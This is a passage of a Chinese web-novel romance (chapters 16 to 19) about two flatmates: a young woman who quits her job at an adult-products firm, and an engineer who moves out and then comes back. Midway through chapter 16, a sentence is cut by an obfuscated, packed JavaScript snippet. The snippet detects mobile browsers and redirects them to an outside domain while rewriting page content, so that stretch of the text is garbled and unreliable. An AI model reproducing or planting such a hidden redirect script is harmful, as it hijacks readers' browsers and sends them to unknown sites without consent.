说完，他迅速转身，想要逃离这个极具诱惑的现场。 林晚星的声音在身后响起：“陈图森，我认真的，我们上床吧。” 16. 第 16 章 林晚星到底是出于什么动机说出这句话，恐怕就连她自己也不知道。 只是，在这一刻，她很想体验一下，这到底是一种什么样的感觉。 她不明白，在她眼里又酷又飒、单身多年不靠男人的罗青盈，为什么还是找了一个男人。 男人到底是种什么东西？离了男人就活不下去了吗？ 她很想找个男人试一试，她也想去沾染这种瘾。 如果非要找一个男人，那就眼前这个人。 她也要尝试一下和男人接吻、拥抱、□□。 她也想要被人疼爱，被人需要。 她想要去体验她们说的那种，身体被爱意盈满，身心都得到愉悦充实的绝妙感觉。 既然她妈妈都认为她和这位男室友已经上过床，那她不能被白白冤枉。 今晚，她就想放纵自己在身体的欲望中沉沦，忘掉所有不开心的事。 她看着陈图森双脚顿住，僵在原地几秒后才转过身。 他澄澈的双眼终于不再澄澈。 她看到，他的体内也蓄满了欲望。 两人隔着一米的黑夜对视，谁也不退让。 也不知道到底过去了多久，陈图森终于忍不住，他上前抓住林晚星的手腕，在她还没反应过来之前，用力地拽着她往房间快步走去。 林晚星始料不及，木讷地跟着他身后，她感受到手腕处传来滚烫的温度。 陈图森的手，仿佛透过她的手，直达她内心，将她的心脏紧紧擒住。 她发出了邀请，他接受了，可是她却害怕了。 她下意识挣扎，另一只手轻轻拍了下他的手背：“喂，你别那么猴急啊！” 可是，陈图森根本不理她，头也不回地将她拽入她的房间。 他们走到床边，陈图森却没停下来。 林晚星双脚想要刹车，往反方向蹬，问道：“你到底要去哪里？” 陈图森没回答，但答案很快出现。 他将她拽进浴室。 这是想先洗澡？还是……林晚星突然倒吸一口气，他想在浴室？ 还说没跟人上过床，原来不是在床上做，是在浴室做。 可是，他们第一次就要玩这么刺激吗？ 她想要退缩，低声提议道：“我们还是回床上……” “我不知道你发生什么事。” 陈图森放开她的手，语气森冷地打断她，“但是心情不好的时候，不要做任何决定。” “洗个热水澡，睡个觉，明天会好很多。” 说完，他没有多看一眼，转身走出浴室，还不忘把门带上。 没多久，林晚星听到浴室外房门也被关上的声音。 空荡荡的浴室只剩她一个人，她的心也空落落的。 她刚刚向一个男人求欢，却被拒绝了。 她觉得自己有点狼狈，可是却没有被羞辱的感觉。 反而感到被一团热气包裹，贫瘠的心房冒出一个泉眼，涌出汩汩热泉，整颗心都被烘得温温热热。 他们没有做.爱，但她感受到被呵护、被怜惜。 看着紧闭的浴室门，她鼻子发涩，一时泪水汹涌。 …… 第二天早上，林晚星醒来，双眼还有些微肿。 她皱着眉看着镜子里的自己，不过让她更难堪的是，她待会到底要怎么面对陈图森啊！ 昨晚，她听从陈图森的建议，哭过之后，就洗了个热水澡上床睡觉了。 虽然早上起来的时候，她的心情平复了不少，但是记忆却没有被清除啊！ 她清清楚楚地记得自己昨晚竟然邀请陈图森和她上床。 OMG！这么一来，陈图森肯定认为她就是一个对他有着非分之想的色女！ 虽然……她确实对他有那么一点想法，但想想不犯罪啊！ 多少人想睡吴彦祖，光在脑子里想想又不碍着谁。 可是，她竟然说出口了，她当时到底是哪里来的勇气？ 这下她的色心彻底暴露无遗了！ 现在想想都尴尬到想挖条缝钻进去。 好在昨晚陈图森定力惊人，没有真的陪她疯，不然她今天会羞耻得想自.杀。 在房间来回踱步了好久，她根据陈图森平时的出门时间猜测他应该走了，才蹑手蹑脚地打开房门，从里面走了出来。 她鼠鼠祟祟地钻出一个头四处张望，很好，没人，就现在！ 她刚踏出房门，却看到—— 陈图森的房门也在这时打开，他也从房间走了出来。 四目相对，两人都沉默无言。 空气安静得像是停滞了一样。 最后，竟是陈图森率先打破僵局，极不自然地说道：“早啊。” 林晚星笑容僵硬：“早……” 他低头，抬手摸了摸鼻子，说道：“我上班了。” 林晚星维持假笑：“好，你路上小心。” 陈图森打量了下她，问道：“你，不走吗？” “……”林晚星一时语塞，她当然要走，但她不想和他一起走。 她突然转身打开房门，说：“我想上个厕所，你先走吧。” 林晚星又在房间磨蹭了一会，出来时确认陈图森已经不在了。 她终于松了一口气。 在去公司的地铁上，林晚星收到罗青盈的微信： 【晚星，我们等下就回云禾了。对不起，妈妈昨天有些话让你不开心。但是，我想告诉你的是，你从来不是妈妈的麻烦。如果你想听我解释的话，可以随时找我。】 林晚星拿着手机的手微微颤抖，心脏像是擂鼓一样咚咚直响，每一下都带来震颤。 她们都不擅长言爱。这些年，她都是从罗青盈所说所做的一切去感受藏匿起来的、似有若无的爱。 也因此，这些虚幻的爱意，最容易被自己推翻。 她反反复复地读着罗青盈这条短信，从这几十个字里，她还是重拾了罗青盈对她朦朦胧胧的爱。 其实，她不应该生气、也不应该恨她的。 不管怎么说，她都尽到了一个母亲应该做的。 她甚至在她独立之后才想着找男朋友，而不是像爸爸那样，离婚后立刻就找了新的人。她已经做得很好了，她又有什么资格恨她。 罗青盈藏匿起自己的爱，她也藏匿起自己的难过和怨恨，回道：【好的，路上注意安全。】 回到公司，大家依旧忙碌应对新产品的负面，唯独林晚星格外从容。 她现在岗位的工作更多是协助性的，尤其是在这一次的危机处理中，她没有多少能发挥自己主动性的地方。 在此起彼伏的“哒哒哒”的键盘声中，她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543151|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个多余的人的感觉被无限放大。 她很清楚自己从一开始就不喜欢这份工作，她只是为了工资强迫自己接受。 无论是去看视频、还是自己去体验产品，或者邀请朋友试用，她都在勉强自己。 她无法真正融入这个公司，爱上这个行业。 她昨晚更是轻浮地邀请一个男人跟她上床，加深了外界对这个行业刻板的误解。 无力与疲惫像一张网一样将她罩住。 不想再勉强自己了，也不想再去找新的室友。 她也许应该将这个房子退掉，回家考公或考编。 人怎么活不是活。 也许妈妈就是看她不在家，感觉寂寞才会谈恋爱。 如果她回到老家工作，或许妈妈就会觉得没必要找男朋友了。 决定来得如此突然，她猛地从椅子上站了起来，一鼓作气地走向顾歆的办公室。 “进来。”她敲了门之后，听到顾歆在里面应道，她吸了口气，手按住门把，用力地一拧。 门开了，顾歆抬头看了过来，也许是没料想是林晚星。 在短暂的惊讶中，她莞尔一笑：“晚星，是你啊，有什么事吗？” 刚才的满腔勇气瞬间像胀满气的气球被人突然放手，在空中四处乱窜后，软塌塌地空瘪在地。 她缓缓地转过身将门关上，然后双脚慢悠悠地挪到顾歆对面的椅子上坐下，短短的一段距离被她硬生生地拉长了。 她低着头，心口咚咚直跳，大脑已经在考虑要不要临阵退缩。 顾歆抬起双眉，问道：“怎么啦？” 林晚星这才抬起头看向顾歆：“歆姐，我，有件事……” 她支支吾吾地一个字一个字地往外吐，半天凑不齐一句话。 顾歆没有打断她，认真地看着她，耐心地等待她说下去。 林晚星仿佛受到鼓励一般，终于一鼓作气地说道：“对不起，歆姐，我想辞职。” 顾歆脸上的表情因为惊讶而凝固了，她回过神来，问道：“辞职？为什么啊？” 从她这段时间的观察来看，她觉得林晚星很努力，对这份工作很有热忱，怎么会突然想要辞职呢？ 林晚星走进办公室后的那段短暂的时间里，她给自己想了很多个更为妥当的理由。 例如妈妈不同意我做这份工作，希望我回老家考公考编。 可是，这是她自己的工作，她不应该把责任推卸到家人身上。 哪怕真实的理由听起来很任性，也有点荒谬，她最终还是如实答道： “因为，我发现自己在勉强自己接受这份工作。我无法接受我的室友、同学、朋友误解我的工作，我也因此甚至连自己做什么工作都不敢对家人说。” “我不知道自己为什么明明脚踏实地地工作，却又搞得偷偷摸摸的。” “而且，无论我怎么努力，我也好像无法真正融入这份工作。因为……” 她没有性经验，而且，在短期内，应该也不会有。 顾歆似乎明白了她没有说出口的那些话。 她轻轻地笑了笑：“晚星，你知道我为什么会招你进来吗？” 林晚星不解地看向顾歆，难道不是因为你们缺人吗？ “面试那天，不是我第一次见你。”顾歆微笑道，“我在两年前就见过你了。” 18-20 第18章 第18章（入v） “我没地方去了，可…… 搬出去的第一天, 陈图森就失眠了。 他找的这套公寓，位置非常好，距离公司步行只有5分钟。 在这一点上，陈图森很满意。 当晚, 他搬过来后, 简单地打扫过屋子后, 并没有着急立马收拾行李。 他将行李箱打开摊在地上，就走到阳台上。 天色已经彻底变暗。 与滨江花园所在的江南区不同, 这里是江城的CBD, 放眼望去, 都是高耸的写字楼。周末的夜晚，街道上没有什么人，很安静，只有写字楼里透出零星的灯光。 像是被困在钢铁牢笼里的打工人的灵魂在发出幽幽的光。 他以前在南杭住的地方跟这里很相似, 都是足够安静。 按理说, 他应该喜欢并习惯这样的环境。 可是，不知道为什么, 此刻他却觉得太安静了, 安静得好像没有一丝人气。 估计是一时转变不过来而已。 毕竟, 之前和他合租的女室友太吵了。 一下子安静下来，他有些不适应而已。 他多年的习惯，不可能被这一个月的生活就改变了的。 过段时间就好了。 他转身回到屋子，还是没有心情收拾, 直接从敞开的行李箱里抽出今晚要换洗的衣服，走进卫生间洗澡。 之后的日子，每日如此，日复一日。 仿佛设定好的程序一样, 两点一线，自动运行。 他的生活不会再有那么多预想不到。 不会有人在下班前发微信问他，今晚加班吗？回家吃饭吗？吃什么？ 他虽然会做饭，但却不是很热衷做饭。 一日三餐基本都是在外面解决。 直到有一天中午，他在办公室闻到一股熟悉的味道。 他扭头一看，是同组一个同事自己带了蛋炒饭。 这份蛋炒饭五颜六色，加了不少配料，有黄色的玉米、绿色的豌豆、粉红色的火腿肠、红色的胡萝卜。 他突然觉得有个人应该会很喜欢这份蛋炒饭，毕竟她曾嫌弃他煮的蛋炒饭太素，只有蛋和饭。 同事感觉到身边有道目光对他的蛋炒饭虎视眈眈，双手护着饭盒往边上微微挪了挪，问道：“森哥，你还没点餐吗？” 陈图森收回目光：“点了，还没到。” 同事友好地提醒：“那你下次要早点点，高峰期会送很慢。” 陈图森嘴上淡淡地应了一个“嗯”，并没有入心。 晚上下班，他没有在外面吃饭，而是在楼下超市买了鸡蛋和大米，打算回家炒蛋炒饭。 这个蛋炒饭，这几年，他做了很多次。 今天的做法也和往常无异，依然是只有蛋和饭的蛋炒饭。 他捧着刚出炉的蛋炒饭坐在桌子上，刚入口却感觉味道不对。 他微微蹙眉看着这碗饭，回忆起刚才的操作步骤，明明每一步都正确，卖相也和以前一样，为什么就是味道跟以前不一样了？ 就像代码明明没错，却运行不起来，他觉得肯定是出了bug，只是他没找到。 盐放多了？可是不咸啊。那是水的问题？还是米，还是蛋？或者是锅？或者是铲？ 这碗饭变得食之无味，头疼的是，锅里还有一碗的量。 为什么煮这么多，他告诉自己，是留着明晚吃的。 可是，他就连眼前的这碗都不想吃了。 只能拿来垃圾袋将碗里和锅里剩下的蛋炒饭全部倒了进去。 晚上，他躺在床上准备入睡时，摄入食物量不足的胃“咕噜咕噜”地发出抗议。 肚子饿不是病，但饿起来也挺要命。 他又失眠了，有些烦躁地在床上左右翻滚。 莫名地，漆黑的空间平白无故飘来一股蛋炒饭的香味。 他有点后悔将剩下的蛋炒饭都倒了。 又想吃蛋炒饭了。 好烦。 不知不觉，他已经搬出来独自住了一个月了。 在今年的最后一个晚上，公司大发慈悲，没让他们加班。 陈图森拎着几个鸡蛋回家。 跨年夜，几乎每个餐厅都挤满了人，没人的都是不好吃的。 他懒得去凑热闹，于是打算回家炒个蛋炒饭算了。 这段时间，只要不加班，他都是自己回家做蛋炒饭。 但却始终炒不出之前的味道。 他坚持不懈，反复研究，希望能够找出是哪里出了bug。 走到楼下，一个女孩子拿着一张传单走上前递到他手上，热情地介绍道：“先生您好，我们新开了一间无人售货商店，这个月新客都有8折优惠，可以看看哦。” 近几年有不少无人商店，大多就像便利店一样售卖日常用品、零食之类。陈图森随手接过，却看到传单上写着“成人用品 无人自助”。 传单的右上角还贴着一包方方正正的铝箔袋，上面有四个虽小但醒目的“凸点螺纹”字样。 陈图森：“……” 女孩见陈图森没有像其他人一样直接摆手拒绝，觉得有希望，继续加把劲：“新店开业，这是我们赠送的试用装。我是一名大四学生，自己出来创业，希望多多支持！扫描上面的二/维.码还可以私密配送，绝对保护您的隐私！” 陈图森：“…………” 他抬眸看向眼前的女孩，她戴着一顶毛绒绒的帽子，一脸稚嫩，看着确实像个大学生。 他脑海里第一反应是，怎么好好一个女孩子，会开这种店。 突然，眼前青春靓丽的大学生变成一个凶巴巴的女孩子，叉着腰对他说： “做这个工作的女孩子又怎么了？凭什么好人家的女孩就不能做这个工作？” 他猛地一怔，快速眨眨眼，眼前还是那个稚嫩的女大学生。 看来他的大脑真的出现bug了，竟然还产生幻觉。 他将传单折了起来，揣进兜里，说道：“谢谢，有需要我会自己下单的。” 女孩看着他离开的背影，开心地45°鞠躬欢送：“感谢您的支持！” 回到家，他随手将鸡蛋放在鞋柜上，准备换鞋子。 一个不安分的鸡蛋从袋子里滚了出来，义无反顾地从柜子上跳了下去。 等到陈图森反应过来的时候，那个鸡蛋已经变成地板上的一滩蛋液。 他顿时心生烦躁，拿过纸巾擦拭地板上的鸡蛋液。 收拾完后，他突然也没有了煮饭的心情，疲惫地走到沙发上瘫坐下来。 双手刚揣进外套的袋子，其中一只手便触摸到硬硬的东西。 他疑惑地抽出一看，是刚才在楼下拿的传单。 在独自一人的屋子里，刚才被强压下去的欲念此刻放肆地钻了出来。 他的手指触摸着贴在传单上的铝箔袋，感受里面东西的柔软。 不得不承认，那个女孩子挺聪明的，竟然将无人自助的成人用品店开在这栋公寓楼下。毕竟住在这里的，大多是在附近上班的打工人。而住得起这种公寓的，一般也是收入还行的单身人士或小情侣。 从白天繁重的工作中抽身，黑夜便接纳了孤独者的灵魂。 如果没有引诱，也许这些欲念便会埋在黑夜里，不为人知。 可是，这间无人自助售卖店，像一个朝你招手的恶魔。 突然间，那晚女孩哭得梨花带雨的脸在他眼前浮现。 他的耳边仿佛响起恶魔的引诱：“陈图森，我认真的，我们上床吧。” 手掌猛地用力，将铝箔袋紧紧地攥在手里，攀在手背上的青筋像是青藤一样，仿佛要将这欲念紧紧在缠在掌心。 心脏突突直跳，仿佛是系统传来的报警声。 他的瞳孔倏地放大，惊觉自己找到了那个bug。 接下来他做的事情，已经彻底超出了他的理智，仿佛失控了一样。 他的东西不多，收拾只用了一个小时。 他钻进出租车才给房东打电话：“房东，你好，不好意思，那个房子我不租了。” 那边安静了几秒，才消化了他说的话。 房东的语气很不好：“不租了？你才住了一个月就退，这算是违约的小伙子。” 陈图森冷静地说：“我知道。” 房东气势凌人地说：“我们当初可是签了合同的哦，你这样的话，押金可是不退的啊，你预付的那两个月房租也不退的哦！” 陈图森自知理亏，没有多纠缠：“可以。” 房东没有立刻接话，许是没想到陈图森这么爽快，不知道该说什么，有气撒不出地埋怨道：“遇到我算你幸运啦，对你这种住一个月就说要退的，押金和房租一般都是不退的哦！但你也别说我欺负年轻人，这样吧，我退你一个月。” 陈图森完全不反驳，顺着说道：“我知道，谢谢你。” 房东一拳打在棉花上，说道：“好啦好啦，我检查过房子没问题后就把钱退给你。” 陈图森再次道谢后，车子就停在了滨江花园。 他下车拎着行李箱走上楼梯时才感觉到紧张。 太疯狂了。 他也不知道自己在干什么。 他告诉自己是来修复系统的bug，但是此刻他又感觉是自己给完美的程序埋下了更大的bug，他偏离了原本设定的进程。 但是系统可以运行下去，他就不想阻拦。 他在702的门口站了好一会儿，因为激烈运动而快速跳动的心脏慢慢平复了下来。 他终于按响了门铃。 时隔一个月未见的脸重新出现在眼前。 林晚星有些惊讶，上下打量着他，视线落在他脚边的行李箱，不解地问：“你这是……” 陈图森脑袋空空，信口胡诌：“被房东赶出来了。” 林晚星惊讶得张大嘴巴：“啊？” 陈图森眼珠左右转了一圈，继续瞎掰：“房东要把房子收回。” 林晚星张大的嘴巴微微收缩成一个圈：“哦。” 陈图森的心率开始紊乱，吞咽了一口，压下颤音，说道：“我没地方去了，可能得搬回来。” 林晚星恍然大悟，无声地“哦”了一下，才说道：“可是，你这样突然把东西搬过来，不太好吧。” 陈图森不知道林晚星什么意思。 心脏跳得更快了，仿佛要冲破胸腔，就连垂在身侧的指尖都忍不住颤抖。 林晚星继续说道：“你好歹提前说一声啊。大晚上的，跟跑路一样把家当搬过来……你就没想过，我或许已经找到室友了？” 陈图森抿了抿嘴唇，他确实没想过。 他的脑袋已经彻底空白了，两人怔怔地对峙了几秒，他终于开口问道： “那你找到了吗？” 林晚星双手抱臂，抬头看着陈图森，强压下弯起的嘴角，点点头说：“找到啦。” 陈图森的心脏骤停，全身的血液仿佛都停止了流动，寒意从四肢一点点开始侵蚀全身。 他真的疯了，竟然没有提前问清楚就跑过来。现在公寓退了，林晚星又找到室友了，他真的无家可归了。 他沉重地吸了口气，抬手抓着行李箱的拉杆，垂眸说道：“对不……” 话还没说完，林晚星却突然转身走进屋子，说道：“进来吧，室友。” 陈图森在门口愣了好几秒才明白了林晚星的话。 心脏恢复了跳动，浑身的血液也流动了起来。 陈图森的嘴角不自觉地弯起一个浅浅的弧度，抓起行李箱的拉杆，快步跟着林晚星走了进去。 他指了指自己以前住的房间，问道：“我还是睡这间？” 林晚星抬眉：“不然呢？你想跟我换房间？” 陈图森赶紧摇头：“不是。我先把东西放进去。” 他从房间出来的时候，林晚星坐在餐桌上，正低着头，百无聊赖地玩手机。 直到此刻，他依然觉得有些不可思议。 他竟然打破了自己两年来的习惯，主动放弃一个安静的单身公寓，跑回来跟人合租，而且是一个那么吵的女室友。 这种失控的状态对于他们从事自动化工程的人来说，是非常危险的。 可是，他却很享受，他一定是疯了。 他现在就像正在赛道上飙车一样，肾上腺素急剧飙升，整个人都处在一种亢奋的状态。 然而，亢奋之下，是无比的踏实和笃定。 就像赛车手信任自己的车技，所以拥有放肆驰骋的任性。 也像一个非常稳定的系统，你以为处处是bug，却运行完美。 林晚星见陈图森傻楞傻楞地站在那里，问道：“你吃饭了吗？” 陈图森摇摇头：“还没，你呢。” 林晚星觉得有点不好意思：“哦，我叫外卖了，不好意思，不知道你会……” 话还没说完，林晚星的电话响起，将她未说完的话打断。 “不好意思，可能是我的外卖到了。”她拿起电话，“喂？” “哎呀，姑娘，不好意思啊。你那个单能不能取消啊？今年跨年夜，订单太多了，我都加小费了都没人愿意送这个单。我店里也没人走得开。” 林晚星一时无语，她等了一个多钟，很善良很体贴地没去催单，结果却等来让她取消的电话。 她是有些生气的，但她尽量按捺自己的火气沟通：“老板，我都等了一个多钟了，你现在才叫我取消？那我今晚吃什么啊？” 老板当然也不知道林晚星今晚还能吃什么，只能一味地道歉：“姑娘，我也不想的。我餐都做好了，但是再放下去就不好吃了，而且也不知道什么时候才有外卖员接单。我也是怕你饿了。实在不好意思啊，要不我送你一张券吧，下次你再来可以减5元。” 林晚星叹了口气，不为难人家了：“好吧，那我退了吧。” 挂了电话，林晚星拿着手机对着陈图森耸耸肩，说：“你听到了，我现在也没饭吃了。” 一瞬间，她觉得他们真是同病相怜。 陈图森大跨年夜，被房东逼迁，独自一人回到这里。 她孤家寡人，没人陪就算了，连外卖都不给她送餐。 她突然忍不住笑了下，要不说他们能当室友。 这是老天让他们抱团取暖呢。 陈图森却直接脱下外套，说道：“既然都没吃饭……要不要试下陈图森蛋炒饭？” 等到饭端上来的时候，已经差不多要变成宵夜了。 还是只有蛋和饭的蛋炒饭。 林晚星送了一口饭到嘴里，忍不住夸赞道：“还是你做的蛋炒饭好吃。” 这段时间，她周末也有试过自己做，也有叫过外卖，但味道就是跟陈图森炒得不一样。 陈图森微笑着接过林晚星的夸赞，他看着林晚星，嘴里也在细细咀嚼品味。 是这个味道了。 真是好奇怪，竟然在这里才能做回以前的味道。 林晚星一边吃一边随口问道：“你这次，是暂时过度，还是会一直住下去？” 她觉得还是要搞清楚，陈图森是像上次那样，临时暂住，还是不打算搬了？ 陈图森清了清嗓子，说道：“不想折腾了，应该会一直住下去吧。” 林晚星点点头，她了解，总是找房子、搬家，确实很烦。 林晚星：“那我们之间的规矩，就跟之前一样咯？” 陈图森：“可以。” 两人安静地吃了一会，林晚星倏地笑道：“不过，可能接下来要搬的人，是我了。” 陈图森一听，惊讶地抬头看了过去。 林晚星脸上挂着笑，但又不是真的开心的样子。 仿佛只是用笑在掩盖什么。 陈图森问：“为什么？” “因为，我辞职了啊。”她咧嘴笑道，“今天最后一天。” 陈图森微怔，他没想到会是这个原因，继续问道：“为什么？” 这段时间，很多人都问她为什么。 但除了跟顾歆说的是真话，其她人她都随意搪塞过去。 敷衍的话信口拈来：“觉得自己不适合啊。” 她看着陈图森，笑道：“不是有人说，哪个好女孩会做这个工作？” 他发出的子弹，在这一刻，回弹到他身上。 正中心脏，一阵疼痛袭来，他几乎要晕厥。 “我不是跟你道过歉了吗？我那是无心的，也不是真心话。” 林晚星看着他一脸严肃的样子，忍俊不禁：“我也是跟你开玩笑的。” “那到底是为什么？” 陈图森继续追问，有种要打破砂锅问到底的气势。 林晚星想要打趣他，问他为什么这么关心自己的事，抬眼却看见他一脸严肃，双眼像鹰眼一直直勾勾地盯着她。 她的心头猛然一颤。 “嗐！”她又咧开嘴笑道，“还能是为什么嘛。就是觉得不适合，不喜欢。” 可是，陈图森不为所动，似乎并不相信她的话。 林晚星嘴角的笑尴尬地挂着，眼里的笑意却消失殆尽。 不知道是不是感觉到来自一个陌生人真挚的关心，紧锁的心房“吧嗒”一声悄然打开。 “就是觉得，没有意义。不知道自己为什么要坚持做一份总是被人误解、诋毁的工作。为了钱吗？其实也不是没有其它办法。”只是为了赚钱的话，她能向这份工作妥协，那就能向别的工作妥协。 “我也很希望有一天可以光明正大、大大方方地跟别人介绍自己的工作，不用担心对方的反应，不用担心被误解，不用在开口前就先想好怎么解释和辩解。这样真的很累，你知道吗？” 陈图森终于垂下眼眸，他无话可说。 毕竟他也曾是造成这场雪崩的一片雪花。 “对了。”她稍稍凑近陈图森，问道，“还不知道你是做什么工作？” 陈图森抬头，诚实地答道：“自动驾驶系统工程师。” “哇~”林晚星发自内心地赞叹，在她心里，这就是很见得人的工作。 她倏地摊开一只手，说：“你看，是吧？一份光鲜亮丽的工作，就能大大方方地说出来。” “其实……”陈图森说道，“自动驾驶是解决人们出行问题，成人用品是……解决人们的生理需求。本质上，也没什么区别。” 林晚星笑着扬扬手，说：“你别安慰我了。我之前天天这么跟自己洗脑。反正我辞职了，是什么都没关系了。” 陈图森张嘴似乎还想说什么，一阵划破天际的“砰”声将他刚说出口的话给震碎了。 两人同时看向阳台外。 江边正在放烟花。 已经0点了，新的一年到来了。 他们透过对面楼栋的缝隙和楼顶能看到残缺不全的烟花。 林晚星脸上的笑却如烟花般灿烂。 不完美的烟花，孤独结伴的年轻人，在这象征着句号性的时刻，有着属于他们的圆满。 “谢谢你，陈图森。”林晚星转过头看着陈图森笑道，“虽然这么说不太善良，但好在你的房东把你赶出来，我才不用一个人跨年。” 陈图森眼皮心虚地快速眨了几下，赶紧低下头扒饭。 待他慢慢把饭咀嚼咽下去后，他趁着又一波烟花响起，抬头看着林晚星轻声说道：“嗯，我也很谢谢她。” …… 元旦假期，陈图森和林晚星都没打算回老家。 陈图森和刚搬进来的时候一样，想着自己搬出去了一个月，之前都是林晚星在打扫，所以他起来后很自觉地就承包了这一周的值日工作。 林晚星起来的时候，他正准备吸尘。 他拿着吸尘器看着林晚星，有些拘谨地笑道：“还想问你起来了没，怕吸尘器吵到你了。” 林晚星：“……” 自己的室友勤快得像是怕她下一秒就会把他赶出去。 林晚星挠了挠后脑勺，说：“我早起了，在床上玩了会手机。” 陈图森点点头，摁开吸尘器的开关，开始吸尘。 仿佛回到了两个月前，他刚搬进来的那个周末。 他们相处了一个月，又分开了一个月。 有些习惯，在熟悉中又掺杂着陌生感。 林晚星反倒变得局促。 她走到陈图森身边，吸尘器声音有点大。 于是，她踮起脚尖，想要凑到他耳边。 陈图森疑惑地回头看了她一眼，下意识地低下头，顺手把吸尘器关了。 仿佛触摸到这个世界的音量开关，周遭一切瞬间陷入沉寂。 两颗心脏跳动的声音却骤然被放大，在促狭的客厅里咚咚回响。 他们一个踮脚一个俯首，身高差被磨平，两人的视线被拉至同一水平线。 就在这个世界的声音被关掉的那一刻，他们同时进入了对方的瞳孔里。 两人的距离骤然拉至临界值，彼此气息相融，呼吸交缠。 时间也仿佛随着声音关闭一起陷入停滞。 他们都忘了自己原本想要做什么，在这一刻愣在原地。 只是怔怔地将对方印在自己的眼球上。 最终是脚跟先回落至地面。 距离拉远，结界消失，两人仿佛重获呼吸，同时缓慢而又深深地吸了一口气。 林晚星微微喘气说道：“我想说……想说，哦，对了！我去买菜！” 陈图森点点头，顺势低下头，说：“那我待会把你房间一起拖了。” 林晚星：“谢谢。” 陈图森：“不客气。” 女孩转身，扬起的马尾随着脚步在脑后一摇一摆的。 男孩低着头重新摁下吸尘器的开关，“呼呼呼”的电机声充斥空间。 他们的心里刚才仿佛都经历了一场地震。 两块陆地距离的改变，会带来地壳的重整。 激烈的地震过去，风平浪静的表面之下，无法被肉眼看见的地震波却还在持续地撞击。 第19章 第 19 章 “反正我不会再找别的室…… 一个多小时后, 林晚星买菜回来，还未走到7楼就听到了小孩子撕破喉咙一样的哭声。她好奇地走上7楼，看到自家对面的门外站着一个女人，怀里抱着小孩, 正轻轻地晃着, 着急又耐心地哄着。 她记得, 这是住在他们对面的邻居，不过两人也只是点头之交, 很偶尔遇见的那两三次, 只是点点头笑笑就过去了。 此刻, 看到林晚星走上来，女人抱歉地对她笑了笑。 出于对同是女性以及对门邻居的关怀，林晚星问道：“姐姐，孩子是怎么了？你们怎么不进屋里去。” 她这下更加不好意思：“哎, 都怪我, 出门忘记带钥匙了。她估计是饿了，怎么哄都停不下来。” 林晚星也着急了：“那怎么办啊？要不要叫开锁的过来？” “我叫我老公回来了, 不过他正忙, 估计没那么快。” 林晚星掏出钥匙, 说：“那要不你到我们屋子里坐着等吧。” 女人面露欣喜，又有些迟疑：“你是自己一个人住吗？会不会太打扰？” “不是，我跟人合租，不过他很好说话的。”林晚星已经将门打开, 站在一边，敞着门邀请女人进来。 听说林晚星是跟人合租，女人更加犹豫。 林晚星劝道：“姐姐，你不累, 小孩子也饿了不是吗？” 女人低头看了一眼怀里的小孩，笑着点点头：“那就打扰了。” 也许是听到动静，两人走进来的时候，陈图森也从房间走了出来。 看着眼前的陌生人，他“很好说话”的脸微微紧绷。 林晚星赶紧介绍道：“这是住在我们对面的邻居，她忘记带钥匙了，所以我请她进来休息下。” 陈图森微微扯了扯唇线，走上前从林晚星手里拿过买菜的袋子，说道：“随便吧，我做饭。” 虽然没有明显的抗拒，但是却浑身透着不欢迎，一时间气氛僵硬到冰点。 刚刚因为到了新环境好奇而短暂停止哭泣的小孩，再次扯开嗓子爆哭。 “啊，对！”林晚星醒过来，想起这小孩还饿着肚子呢，问道，“小孩子需要吃什么呀？” “她还小，还吃母乳。” “那……”林晚星略微思考片刻，将女人请进自己房间，说，“这是我的房间，你先用吧，有什么需要再叫我。” 林晚星说着退出去关上门，没多久孩子的哭声就停止了。 她刚转身，就看到陈图森站在后面，绷着脸，双眼无奈地看着她。 自知理亏，林晚星赶紧道歉：“对不起，事发突然，我来不及报备了……” 陈图森的脸色并没有舒展，双眼看向林晚星身后关着的房门，问道：“你认识她？” “她住对面的，见过两三次吧。” “见过两三次。”陈图森脸上的无语更加明显，“见过两三次就把人带回家，还让她独自待在你的房间。” 就这点防备心，还好他搬回来了，不然家都能给偷走。 “不然呢。”林晚星压低声音说，“小孩子都饿成这样了，总不能见死不救吧。” 陈图森轻哼一声，说：“随便你吧。” 说完，他似乎已经对林晚星彻底无语了，转身走进厨房。 没多久，女人抱着小孩出来了。 吃饱喝足又哭累了的小孩，现在正躺在怀里安安静静地睡了。 不知道是不是刚才听到了两人说话的声音，女人似乎不好再打扰，主动说道：“我老公应该快回来了，我在外面等他就好。” “他还没到吧，那你就在这里再坐一会吧。不然抱着小孩站外面多累，天气还冷，别把小孩冻感冒了。”林晚星说着已经把女人按在沙发上坐下了，“我给你倒杯水。” 女人实在推辞不下，也就不再矜持了。 “姐姐，喝水吧。” 女人接过水杯，笑道：“谢谢，我叫叶唯，你叫我唯唯就好。” 林晚星笑道：“唯唯姐。” 叶唯抱以一笑，欣然应下。 叶唯其实年纪也不小，三十出头，虽然她穿着简单，但大方得体、体态优雅，即使终日为孩子操劳，也没有削减她身上自带的气质，年龄在她身上体现出来是一种经过岁月沉淀的成熟知性。 也很符合林晚星想象中的这个年龄应有的样子。 林晚星主动拉家常，问道：“唯唯姐，你的小孩多大啦？” 叶唯笑着应道：“5个月了。” 林晚星：“那她还挺乖的。” 在她印象里，小月龄的小孩都爱哭，但是她住进来的这三个月，其实不经常听到孩子的哭声。 叶唯笑道：“还行。” 林晚星又问：“平时就你一个人带小孩吗？” 叶唯：“基本上是，不过我老公下班回来也会帮忙带。” 林晚星：“那你之后上班怎么办啊？” 叶唯：“我怀上她后没多久就辞职了。” 林晚星有些惊讶地张开嘴。她看叶唯一副职场女强人的样子，没想到她会为了孩子辞职。反正她是绝不可能这么做的。 叶唯似乎明白林晚星的惊讶，低头看着小孩，说：“我以前也没想过自己有一天会当全职妈妈。不过啊，我们折腾了8年才怀上了这个小孩，我们都对她很宝贝。我也不习惯和老人一起住，所以最终还是做了这个决定。” 